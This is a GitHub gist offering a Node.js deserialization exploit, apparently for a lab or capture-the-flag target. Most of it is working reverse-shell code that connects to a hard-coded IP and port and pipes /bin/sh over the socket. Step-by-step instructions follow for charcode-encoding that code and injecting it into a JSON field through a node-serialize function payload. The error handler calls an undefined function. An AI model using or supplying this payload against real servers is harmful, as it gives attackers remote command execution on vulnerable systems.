Skip to content

Instantly share code, notes, and snippets.

@Reelix
Last active October 11, 2021 14:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Reelix/78644c474a252373bc9734d33436ac8a to your computer and use it in GitHub Desktop.
Save Reelix/78644c474a252373bc9734d33436ac8a to your computer and use it in GitHub Desktop.
NodeJS Deserialization Exploit (Reverse Shell)
// Step 1
// Use the following Code - Change the HOST / PORT as you need
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.2.26.203";
PORT="9001";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
// Step 2
// To prevent any encoding errors, convert to CharCode (Comma delimited)
// https://gchq.github.io/CyberChef/#recipe=To_Charcode('Comma',10)
// Step 3
// Change from
// {"username":"admin"}
// to
// {"username":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,23,etc,from,above,14,23,5))}()"}
// Note: Don't add additional spaces
// Note 2: Make sure the end is correct - 2 )'s, a }, a (), a ", then a }
// TODO (Maybe): Make this entire process a single python3 .py file
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment